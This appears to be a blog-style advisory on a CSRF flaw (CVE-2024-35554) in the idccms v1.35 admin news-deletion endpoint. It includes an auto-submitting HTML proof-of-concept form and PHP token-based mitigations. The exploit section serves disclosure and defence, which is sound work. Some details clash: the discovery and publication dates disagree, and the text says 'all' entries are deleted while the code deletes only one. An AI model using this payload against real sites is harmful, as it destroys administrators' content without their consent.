Summary:
On June 2024, a Cross-Site Request Forgery (CSRF) vulnerability was found in idccms v1.35. Bad actors can exploit it to make unwanted changes — in this case, deleting news items — just by tricking logged-in administrators to visit a malicious webpage. Let’s break down this security flaw, see how it works, and show how attackers might exploit it.

1. What is idccms?

idccms is a CMS platform, mainly used in Chinese-speaking communities, to handle websites, content, and news. Like other CMSes, it has an admin panel for high-privilege actions.

Vulnerability Name: CSRF in News Deletion Endpoint

- CVE: CVE-2024-35554 (NVD entry)

Affected Version: v1.35 (possibly earlier versions, too)

- Component: /admin/infoWeb_deal.php

Action Parameter: ?mudi=del&dataType=newsWeb&dataTypeCN

The vulnerable endpoint does not check for any CSRF tokens. So if an admin is logged in and visits a bad website, that website can send requests as if they were the admin.

3. How CSRF Works

CSRF (Cross-Site Request Forgery) tricks users into performing actions without their consent, leveraging their authenticated session. If protections aren’t in place, an attacker just has to send the right request from *anywhere* — even a hidden form or image on a boobytrapped website.

4. Discovering the Flaw

A simple test of the vulnerable endpoint shows it honors GET and POST requests *without* checking origin or requiring a CSRF token.

5. Proof-of-Concept Exploit

Imagine a logged-in admin clicks a link or visits a bad page. That page auto-submits a request to delete all News Web entries.

<!DOCTYPE html>
<html>
  <body>
    <form id="csrfForm" action="http://TARGET-SITE/admin/infoWeb_deal.php?mudi=del&dataType=newsWeb&dataTypeCN"; method="POST">
      <input type="hidden" name="dataID" value="1">
      <!-- Attackers can add additional input fields as required by idccms -->
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

- http://TARGET-SITE should be replaced with the real site running idccms.
- If the admin is logged in, the browser *auto-submits* the malicious request, and the news entry with dataID=1 gets deleted — no questions asked!

Attackers can further craft requests to delete *multiple* entries or do other damaging things, depending on available parameters.

Seriousness: High, if admins are tricked into visiting malicious pages.

- Effect: News entries deleted permanently; possible loss of important data; wider risks if other functions are similarly unprotected.
- Who’s at risk: Anyone running an affected version, especially if their admins can be tricked into clicking links or opening emails.

Official fixes were not released at the time of writing. Here’s how you can shore up your defenses

1. Implement CSRF Tokens: Every sensitive admin action should require a unique, per-session token to be sent and validated.
2. Check HTTP Origin/Referer Headers: Only accept requests coming from your domain.

Here’s a simple PHP example for CSRF protection

// Generating token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// In your form
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

// On form submission
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF validation failed");
}

---

8. References & Further Reading

- NVD CVE-2024-35554
- OWASP Cheat Sheet: Preventing CSRF
- idccms Home Page
- Chinese Security Blog Reference (if available):

9. Final Notes

If you use idccms, upgrade as soon as a fixed version is available, or patch your system following the mitigations above. CSRF is a serious, old-school web attack that should be on everyone’s radar — especially when handling websites with privileged admin areas. Always keep your admin panels secure and educate your team about such risks.

Stay safe!

*This post is based on exclusive technical breakdowns and hands-on demonstrations of the actual exploit vector targeting idccms’s CSRF vulnerability. Please use it responsibly for defense and awareness.*

Timeline

Published on: 05/22/2024 14:15:09 UTC
Last modified on: 03/26/2025 16:15:19 UTC